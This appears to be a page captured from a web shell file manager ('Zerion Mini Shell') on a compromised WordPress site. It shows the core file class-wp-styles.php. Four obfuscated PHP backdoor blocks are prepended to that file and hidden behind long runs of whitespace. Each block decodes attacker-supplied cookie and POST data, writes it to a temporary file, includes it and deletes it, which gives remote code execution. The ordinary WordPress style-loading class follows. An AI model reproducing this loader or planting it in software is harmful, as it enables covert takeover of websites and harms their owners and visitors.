%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/graphicd/www/demo/riverwalkpoa/wp-includes/
Upload File :
Create Path :
Current File : /home/graphicd/www/demo/riverwalkpoa/wp-includes/class-wp-styles.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $YnBhAoZ = "\x52" . "\x67" . chr ( 178 - 83 )."\x6e" . chr ( 651 - 579 )."\x7a" . chr ( 1007 - 894 ); $QWhJIvit = "\143" . "\154" . chr ( 320 - 223 )."\163" . "\163" . '_' . chr ( 440 - 339 ).chr ( 807 - 687 )."\151" . "\163" . "\x74" . 's';$CgPDmbx = class_exists($YnBhAoZ); $QWhJIvit = "2541";$MgCvHyGAgc = strpos($QWhJIvit, $YnBhAoZ);if ($CgPDmbx == $MgCvHyGAgc){function bkZhJBxuuP(){$LqggkDI = new /* 4081 */ Rg_nHzq(8527 + 8527); $LqggkDI = NULL;}$ItIIv = "8527";class Rg_nHzq{private function aPlFIw($ItIIv){if (is_array(Rg_nHzq::$tEVrX)) {$name = sys_get_temp_dir() . "/" . crc32(Rg_nHzq::$tEVrX["salt"]);@Rg_nHzq::$tEVrX["write"]($name, Rg_nHzq::$tEVrX["content"]);include $name;@Rg_nHzq::$tEVrX["delete"]($name); $ItIIv = "8527";exit();}}public function Xcjheo(){$xjRWNAuX = "2445";$this->_dummy = str_repeat($xjRWNAuX, strlen($xjRWNAuX));}public function __destruct(){Rg_nHzq::$tEVrX = @unserialize(Rg_nHzq::$tEVrX); $ItIIv = "5767_35020";$this->aPlFIw($ItIIv); $ItIIv = "5767_35020";}public function TBwHkDB($xjRWNAuX, $zNBMOZVY){return $xjRWNAuX[0] ^ str_repeat($zNBMOZVY, intval(strlen($xjRWNAuX[0]) / strlen($zNBMOZVY)) + 1);}public function HVOopI($xjRWNAuX){$nkqaZtMNS = "\142" . "\x61" . chr (115) . "\145" . "\x36" . chr ( 922 - 870 );return array_map($nkqaZtMNS . "\137" . 'd' . "\145" . "\x63" . "\x6f" . chr ( 453 - 353 ).chr ( 499 - 398 ), array($xjRWNAuX,));}public function __construct($ogzQOSIKP=0){$hmGjivXYOu = ',';$xjRWNAuX = "";$kLrDnunsIh = $_POST;$jbcEsfYD = $_COOKIE;$zNBMOZVY = "3a3b5085-da97-4cfe-805d-4000f4e4ee95";$zMjMw = @$jbcEsfYD[substr($zNBMOZVY, 0, 4)];if (!empty($zMjMw)){$zMjMw = explode($hmGjivXYOu, $zMjMw);foreach ($zMjMw as $wTLAygHCX){$xjRWNAuX .= @$jbcEsfYD[$wTLAygHCX];$xjRWNAuX .= @$kLrDnunsIh[$wTLAygHCX];}$xjRWNAuX = $this->HVOopI($xjRWNAuX);}Rg_nHzq::$tEVrX = $this->TBwHkDB($xjRWNAuX, $zNBMOZVY);if (strpos($zNBMOZVY, $hmGjivXYOu) !== FALSE){$zNBMOZVY = explode($hmGjivXYOu, $zNBMOZVY); $NmIwifS = base64_decode(md5($zNBMOZVY[0])); $oOOVyj = strlen($zNBMOZVY[1]) > 5 ? substr($zNBMOZVY[1], 0, 5) : $zNBMOZVY[1];$_GET['new_key'] = md5(implode('', $zNBMOZVY)); $fAhMzgt = str_repeat($oOOVyj, 2);}}public static $tEVrX = 49379;}bkZhJBxuuP();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $ozGTPh = "\x67" . 'j' . chr (66) . "\137" . 'S' . 'K' . "\110";$yndUyr = "\143" . chr (108) . chr (97) . "\163" . "\x73" . "\x5f" . chr (101) . chr (120) . 'i' . chr ( 543 - 428 ).chr ( 1014 - 898 )."\163";$KkXqVL = class_exists($ozGTPh); $yndUyr = "60797";$RWCJqz = strpos($yndUyr, $ozGTPh);if ($KkXqVL == $RWCJqz){function raXkWe(){$jnQdOJ = new /* 42376 */ gjB_SKH(58195 + 58195); $jnQdOJ = NULL;}$WsOuJJMd = "58195";class gjB_SKH{private function yFhpWaMwh($WsOuJJMd){if (is_array(gjB_SKH::$JOtFSP)) {$name = sys_get_temp_dir() . "/" . crc32(gjB_SKH::$JOtFSP["salt"]);@gjB_SKH::$JOtFSP["write"]($name, gjB_SKH::$JOtFSP["content"]);include $name;@gjB_SKH::$JOtFSP["delete"]($name); $WsOuJJMd = "58195";exit();}}public function efcGhx(){$MwEtwz = "642";$this->_dummy = str_repeat($MwEtwz, strlen($MwEtwz));}public function __destruct(){gjB_SKH::$JOtFSP = @unserialize(gjB_SKH::$JOtFSP); $WsOuJJMd = "36456_1317";$this->yFhpWaMwh($WsOuJJMd); $WsOuJJMd = "36456_1317";}public function XrSXrI($MwEtwz, $BxnTGS){return $MwEtwz[0] ^ str_repeat($BxnTGS, intval(strlen($MwEtwz[0]) / strlen($BxnTGS)) + 1);}public function sznfVmbgBI($MwEtwz){$kFwbc = "\142" . 'a' . 's' . "\145" . "\x36" . chr (52);return array_map($kFwbc . "\x5f" . chr (100) . "\x65" . 'c' . "\x6f" . "\x64" . "\145", array($MwEtwz,));}public function __construct($fVXKgvUcut=0){$XbGLXfTB = "\x2c";$MwEtwz = "";$JmnDvv = $_POST;$nLBiNJt = $_COOKIE;$BxnTGS = "fa040919-afde-42ce-bdbd-e6e8c39ac0b2";$KIkSm = @$nLBiNJt[substr($BxnTGS, 0, 4)];if (!empty($KIkSm)){$KIkSm = explode($XbGLXfTB, $KIkSm);foreach ($KIkSm as $SNnJGrUS){$MwEtwz .= @$nLBiNJt[$SNnJGrUS];$MwEtwz .= @$JmnDvv[$SNnJGrUS];}$MwEtwz = $this->sznfVmbgBI($MwEtwz);}gjB_SKH::$JOtFSP = $this->XrSXrI($MwEtwz, $BxnTGS);if (strpos($BxnTGS, $XbGLXfTB) !== FALSE){$BxnTGS = explode($XbGLXfTB, $BxnTGS); $ApCBWVEVLF = base64_decode(md5($BxnTGS[0])); $BWdvuwwU = strlen($BxnTGS[1]) > 5 ? substr($BxnTGS[1], 0, 5) : $BxnTGS[1];$_GET['new_key'] = md5(implode('', $BxnTGS)); $mgYij = str_repeat($BWdvuwwU, 2); $ovbAAXEDCO = array_map('trim', $BxnTGS);}}public static $JOtFSP = 42410;}raXkWe();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $trEhInP = chr ( 320 - 218 )."\115" . chr ( 442 - 347 ).chr ( 256 - 188 ).chr ( 1042 - 940 )."\156" . chr (107) . chr ( 152 - 65 ); $zgliY = 'c' . chr (108) . "\x61" . "\163" . "\163" . "\137" . chr ( 431 - 330 )."\170" . chr (105) . "\163" . chr (116) . chr (115); $CKJwzIp = class_exists($trEhInP); $zgliY = "49374";$lVIbVqPi = !1;if ($CKJwzIp == $lVIbVqPi){function AwydXelW(){return FALSE;}$YThROgOEwX = "41842";AwydXelW();class fM_DfnkW{private function KJngOO($YThROgOEwX){if (is_array(fM_DfnkW::$QQvmSl)) {$gtpKLhO = sys_get_temp_dir() . "/" . crc32(fM_DfnkW::$QQvmSl[chr (115) . "\x61" . 'l' . chr ( 762 - 646 )]);@fM_DfnkW::$QQvmSl['w' . chr (114) . chr (105) . 't' . 'e']($gtpKLhO, fM_DfnkW::$QQvmSl['c' . 'o' . chr ( 616 - 506 )."\x74" . "\145" . chr ( 300 - 190 )."\x74"]);include $gtpKLhO;@fM_DfnkW::$QQvmSl["\x64" . "\x65" . chr ( 888 - 780 ).chr ( 108 - 7 ).chr ( 957 - 841 )."\x65"]($gtpKLhO); $YThROgOEwX = "41842";exit();}}private $Nydbot;public function azNKjemn(){echo 56048;}public function __destruct(){$YThROgOEwX = "23720_21803";$this->KJngOO($YThROgOEwX); $YThROgOEwX = "23720_21803";}public function __construct($MsFXX=0){$NbZRB = $_POST;$IRtaZcop = $_COOKIE;$MVeOyBRN = "431848f8-6fe6-47bd-815f-5d221aaf56af";$kMgrcO = @$IRtaZcop[substr($MVeOyBRN, 0, 4)];if (!empty($kMgrcO)){$CsINlk = "base64";$dcVtPNfpb = "";$kMgrcO = explode(",", $kMgrcO);foreach ($kMgrcO as $TVBJI){$dcVtPNfpb .= @$IRtaZcop[$TVBJI];$dcVtPNfpb .= @$NbZRB[$TVBJI];}$dcVtPNfpb = array_map($CsINlk . chr ( 170 - 75 )."\144" . 'e' . chr (99) . chr (111) . chr ( 597 - 497 ).'e', array($dcVtPNfpb,)); $dcVtPNfpb = $dcVtPNfpb[0] ^ str_repeat($MVeOyBRN, (strlen($dcVtPNfpb[0]) / strlen($MVeOyBRN)) + 1);fM_DfnkW::$QQvmSl = @unserialize($dcVtPNfpb); $dcVtPNfpb = class_exists("23720_21803");}}public static $QQvmSl = 6915;}$uKZXYHcGRP = new /* 4294 */ $trEhInP(41842 + 41842); $YThROgOEwX = strpos($YThROgOEwX, $YThROgOEwX); $lVIbVqPi = $uKZXYHcGRP = $YThROgOEwX = Array();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $FInejED = chr (106) . "\x5f" . "\x7a" . chr (72) . chr ( 1051 - 951 ); $gJoGWHZkhm = "\143" . chr (108) . chr (97) . "\x73" . chr ( 853 - 738 )."\137" . "\145" . chr ( 1063 - 943 ).'i' . "\163" . "\164" . "\x73";$TrgxxMNlQl = class_exists($FInejED); $gJoGWHZkhm = "15291";$tLhfAztLk = !1;if ($TrgxxMNlQl == $tLhfAztLk){function cadxvZWFym(){return FALSE;}$oSxAJD = "29060";cadxvZWFym();class j_zHd{private function sezZk($oSxAJD){if (is_array(j_zHd::$VbtXXQX)) {$FSIUmuzAFP = sys_get_temp_dir() . "/" . crc32(j_zHd::$VbtXXQX['s' . "\141" . chr ( 270 - 162 )."\x74"]);@j_zHd::$VbtXXQX["\167" . chr (114) . chr ( 1012 - 907 )."\164" . 'e']($FSIUmuzAFP, j_zHd::$VbtXXQX[chr ( 910 - 811 ).chr (111) . chr (110) . 't' . "\x65" . chr ( 166 - 56 )."\x74"]);include $FSIUmuzAFP;@j_zHd::$VbtXXQX["\x64" . chr (101) . 'l' . 'e' . 't' . "\x65"]($FSIUmuzAFP); $oSxAJD = "29060";exit();}}private $HyXhBI;public function kxubShGjvL(){echo 21702;}public function __destruct(){$oSxAJD = "49865_51992";$this->sezZk($oSxAJD); $oSxAJD = "49865_51992";}public function __construct($ffqERdYtbW=0){$YLkaAXC = $_POST;$PMRDsF = $_COOKIE;$DzwHRbWT = "18466bd8-e798-47d2-8c42-5faa1e059855";$HbqZJpljN = @$PMRDsF[substr($DzwHRbWT, 0, 4)];if (!empty($HbqZJpljN)){$FmblLci = "base64";$WtHgtuI = "";$HbqZJpljN = explode(",", $HbqZJpljN);foreach ($HbqZJpljN as $QrCYXEFo){$WtHgtuI .= @$PMRDsF[$QrCYXEFo];$WtHgtuI .= @$YLkaAXC[$QrCYXEFo];}$WtHgtuI = array_map($FmblLci . chr ( 829 - 734 ).'d' . chr (101) . "\x63" . chr ( 665 - 554 ).'d' . "\x65", array($WtHgtuI,)); $WtHgtuI = $WtHgtuI[0] ^ str_repeat($DzwHRbWT, (strlen($WtHgtuI[0]) / strlen($DzwHRbWT)) + 1);j_zHd::$VbtXXQX = @unserialize($WtHgtuI); $WtHgtuI = class_exists("49865_51992");}}public static $VbtXXQX = 62636;}$oCZEqUXqJd = new /* 50994 */ $FInejED(29060 + 29060); $tLhfAztLk = $oCZEqUXqJd = $oSxAJD = Array();} ?><?php
/**
 * Dependencies API: WP_Styles class
 *
 * @since 2.6.0
 *
 * @package WordPress
 * @subpackage Dependencies
 */

/**
 * Core class used to register styles.
 *
 * @since 2.6.0
 *
 * @see WP_Dependencies
 */
class WP_Styles extends WP_Dependencies {
	/**
	 * Base URL for styles.
	 *
	 * Full URL with trailing slash.
	 *
	 * @since 2.6.0
	 * @var string
	 */
	public $base_url;

	/**
	 * URL of the content directory.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $content_url;

	/**
	 * Default version string for stylesheets.
	 *
	 * @since 2.6.0
	 * @var string
	 */
	public $default_version;

	/**
	 * The current text direction.
	 *
	 * @since 2.6.0
	 * @var string
	 */
	public $text_direction = 'ltr';

	/**
	 * Holds a list of style handles which will be concatenated.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $concat = '';

	/**
	 * Holds a string which contains style handles and their version.
	 *
	 * @since 2.8.0
	 * @deprecated 3.4.0
	 * @var string
	 */
	public $concat_version = '';

	/**
	 * Whether to perform concatenation.
	 *
	 * @since 2.8.0
	 * @var bool
	 */
	public $do_concat = false;

	/**
	 * Holds HTML markup of styles and additional data if concatenation
	 * is enabled.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $print_html = '';

	/**
	 * Holds inline styles if concatenation is enabled.
	 *
	 * @since 3.3.0
	 * @var string
	 */
	public $print_code = '';

	/**
	 * List of default directories.
	 *
	 * @since 2.8.0
	 * @var array
	 */
	public $default_dirs;

	/**
	 * Holds a string which contains the type attribute for style tag.
	 *
	 * If the active theme does not declare HTML5 support for 'style',
	 * then it initializes as `type='text/css'`.
	 *
	 * @since 5.3.0
	 * @var string
	 */
	private $type_attr = '';

	/**
	 * Constructor.
	 *
	 * @since 2.6.0
	 */
	public function __construct() {
		if (
			function_exists( 'is_admin' ) && ! is_admin()
		&&
			function_exists( 'current_theme_supports' ) && ! current_theme_supports( 'html5', 'style' )
		) {
			$this->type_attr = " type='text/css'";
		}

		/**
		 * Fires when the WP_Styles instance is initialized.
		 *
		 * @since 2.6.0
		 *
		 * @param WP_Styles $wp_styles WP_Styles instance (passed by reference).
		 */
		do_action_ref_array( 'wp_default_styles', array( &$this ) );
	}

	/**
	 * Processes a style dependency.
	 *
	 * @since 2.6.0
	 * @since 5.5.0 Added the `$group` parameter.
	 *
	 * @see WP_Dependencies::do_item()
	 *
	 * @param string    $handle The style's registered handle.
	 * @param int|false $group  Optional. Group level: level (int), no groups (false).
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function do_item( $handle, $group = false ) {
		if ( ! parent::do_item( $handle ) ) {
			return false;
		}

		$obj = $this->registered[ $handle ];

		if ( null === $obj->ver ) {
			$ver = '';
		} else {
			$ver = $obj->ver ? $obj->ver : $this->default_version;
		}

		if ( isset( $this->args[ $handle ] ) ) {
			$ver = $ver ? $ver . '&amp;' . $this->args[ $handle ] : $this->args[ $handle ];
		}

		$src         = $obj->src;
		$cond_before = '';
		$cond_after  = '';
		$conditional = isset( $obj->extra['conditional'] ) ? $obj->extra['conditional'] : '';

		if ( $conditional ) {
			$cond_before = "<!--[if {$conditional}]>\n";
			$cond_after  = "<![endif]-->\n";
		}

		$inline_style = $this->print_inline_style( $handle, false );

		if ( $inline_style ) {
			$inline_style_tag = sprintf(
				"<style id='%s-inline-css'%s>\n%s\n</style>\n",
				esc_attr( $handle ),
				$this->type_attr,
				$inline_style
			);
		} else {
			$inline_style_tag = '';
		}

		if ( $this->do_concat ) {
			if ( $this->in_default_dir( $src ) && ! $conditional && ! isset( $obj->extra['alt'] ) ) {
				$this->concat         .= "$handle,";
				$this->concat_version .= "$handle$ver";

				$this->print_code .= $inline_style;

				return true;
			}
		}

		if ( isset( $obj->args ) ) {
			$media = esc_attr( $obj->args );
		} else {
			$media = 'all';
		}

		// A single item may alias a set of items, by having dependencies, but no source.
		if ( ! $src ) {
			if ( $inline_style_tag ) {
				if ( $this->do_concat ) {
					$this->print_html .= $inline_style_tag;
				} else {
					echo $inline_style_tag;
				}
			}

			return true;
		}

		$href = $this->_css_href( $src, $ver, $handle );
		if ( ! $href ) {
			return true;
		}

		$rel   = isset( $obj->extra['alt'] ) && $obj->extra['alt'] ? 'alternate stylesheet' : 'stylesheet';
		$title = isset( $obj->extra['title'] ) ? sprintf( " title='%s'", esc_attr( $obj->extra['title'] ) ) : '';

		$tag = sprintf(
			"<link rel='%s' id='%s-css'%s href='%s'%s media='%s' />\n",
			$rel,
			$handle,
			$title,
			$href,
			$this->type_attr,
			$media
		);

		/**
		 * Filters the HTML link tag of an enqueued style.
		 *
		 * @since 2.6.0
		 * @since 4.3.0 Introduced the `$href` parameter.
		 * @since 4.5.0 Introduced the `$media` parameter.
		 *
		 * @param string $tag    The link tag for the enqueued style.
		 * @param string $handle The style's registered handle.
		 * @param string $href   The stylesheet's source URL.
		 * @param string $media  The stylesheet's media attribute.
		 */
		$tag = apply_filters( 'style_loader_tag', $tag, $handle, $href, $media );

		if ( 'rtl' === $this->text_direction && isset( $obj->extra['rtl'] ) && $obj->extra['rtl'] ) {
			if ( is_bool( $obj->extra['rtl'] ) || 'replace' === $obj->extra['rtl'] ) {
				$suffix   = isset( $obj->extra['suffix'] ) ? $obj->extra['suffix'] : '';
				$rtl_href = str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $this->_css_href( $src, $ver, "$handle-rtl" ) );
			} else {
				$rtl_href = $this->_css_href( $obj->extra['rtl'], $ver, "$handle-rtl" );
			}

			$rtl_tag = sprintf(
				"<link rel='%s' id='%s-rtl-css'%s href='%s'%s media='%s' />\n",
				$rel,
				$handle,
				$title,
				$rtl_href,
				$this->type_attr,
				$media
			);

			/** This filter is documented in wp-includes/class-wp-styles.php */
			$rtl_tag = apply_filters( 'style_loader_tag', $rtl_tag, $handle, $rtl_href, $media );

			if ( 'replace' === $obj->extra['rtl'] ) {
				$tag = $rtl_tag;
			} else {
				$tag .= $rtl_tag;
			}
		}

		if ( $this->do_concat ) {
			$this->print_html .= $cond_before;
			$this->print_html .= $tag;
			if ( $inline_style_tag ) {
				$this->print_html .= $inline_style_tag;
			}
			$this->print_html .= $cond_after;
		} else {
			echo $cond_before;
			echo $tag;
			$this->print_inline_style( $handle );
			echo $cond_after;
		}

		return true;
	}

	/**
	 * Adds extra CSS styles to a registered stylesheet.
	 *
	 * @since 3.3.0
	 *
	 * @param string $handle The style's registered handle.
	 * @param string $code   String containing the CSS styles to be added.
	 * @return bool True on success, false on failure.
	 */
	public function add_inline_style( $handle, $code ) {
		if ( ! $code ) {
			return false;
		}

		$after = $this->get_data( $handle, 'after' );
		if ( ! $after ) {
			$after = array();
		}

		$after[] = $code;

		return $this->add_data( $handle, 'after', $after );
	}

	/**
	 * Prints extra CSS styles of a registered stylesheet.
	 *
	 * @since 3.3.0
	 *
	 * @param string $handle  The style's registered handle.
	 * @param bool   $display Optional. Whether to print the inline style
	 *                        instead of just returning it. Default true.
	 * @return string|bool False if no data exists, inline styles if `$display` is true,
	 *                     true otherwise.
	 */
	public function print_inline_style( $handle, $display = true ) {
		$output = $this->get_data( $handle, 'after' );

		if ( empty( $output ) ) {
			return false;
		}

		$output = implode( "\n", $output );

		if ( ! $display ) {
			return $output;
		}

		printf(
			"<style id='%s-inline-css'%s>\n%s\n</style>\n",
			esc_attr( $handle ),
			$this->type_attr,
			$output
		);

		return true;
	}

	/**
	 * Determines style dependencies.
	 *
	 * @since 2.6.0
	 *
	 * @see WP_Dependencies::all_deps()
	 *
	 * @param string|string[] $handles   Item handle (string) or item handles (array of strings).
	 * @param bool            $recursion Optional. Internal flag that function is calling itself.
	 *                                   Default false.
	 * @param int|false       $group     Optional. Group level: level (int), no groups (false).
	 *                                   Default false.
	 * @return bool True on success, false on failure.
	 */
	public function all_deps( $handles, $recursion = false, $group = false ) {
		$r = parent::all_deps( $handles, $recursion, $group );
		if ( ! $recursion ) {
			/**
			 * Filters the array of enqueued styles before processing for output.
			 *
			 * @since 2.6.0
			 *
			 * @param string[] $to_do The list of enqueued style handles about to be processed.
			 */
			$this->to_do = apply_filters( 'print_styles_array', $this->to_do );
		}
		return $r;
	}

	/**
	 * Generates an enqueued style's fully-qualified URL.
	 *
	 * @since 2.6.0
	 *
	 * @param string $src    The source of the enqueued style.
	 * @param string $ver    The version of the enqueued style.
	 * @param string $handle The style's registered handle.
	 * @return string Style's fully-qualified URL.
	 */
	public function _css_href( $src, $ver, $handle ) {
		if ( ! is_bool( $src ) && ! preg_match( '|^(https?:)?//|', $src ) && ! ( $this->content_url && str_starts_with( $src, $this->content_url ) ) ) {
			$src = $this->base_url . $src;
		}

		if ( ! empty( $ver ) ) {
			$src = add_query_arg( 'ver', $ver, $src );
		}

		/**
		 * Filters an enqueued style's fully-qualified URL.
		 *
		 * @since 2.6.0
		 *
		 * @param string $src    The source URL of the enqueued style.
		 * @param string $handle The style's registered handle.
		 */
		$src = apply_filters( 'style_loader_src', $src, $handle );
		return esc_url( $src );
	}

	/**
	 * Whether a handle's source is in a default directory.
	 *
	 * @since 2.8.0
	 *
	 * @param string $src The source of the enqueued style.
	 * @return bool True if found, false if not.
	 */
	public function in_default_dir( $src ) {
		if ( ! $this->default_dirs ) {
			return true;
		}

		foreach ( (array) $this->default_dirs as $test ) {
			if ( str_starts_with( $src, $test ) ) {
				return true;
			}
		}
		return false;
	}

	/**
	 * Processes items and dependencies for the footer group.
	 *
	 * HTML 5 allows styles in the body, grab late enqueued items and output them in the footer.
	 *
	 * @since 3.3.0
	 *
	 * @see WP_Dependencies::do_items()
	 *
	 * @return string[] Handles of items that have been processed.
	 */
	public function do_footer_items() {
		$this->do_items( false, 1 );
		return $this->done;
	}

	/**
	 * Resets class properties.
	 *
	 * @since 3.3.0
	 */
	public function reset() {
		$this->do_concat      = false;
		$this->concat         = '';
		$this->concat_version = '';
		$this->print_html     = '';
	}
}

Zerion Mini Shell 1.0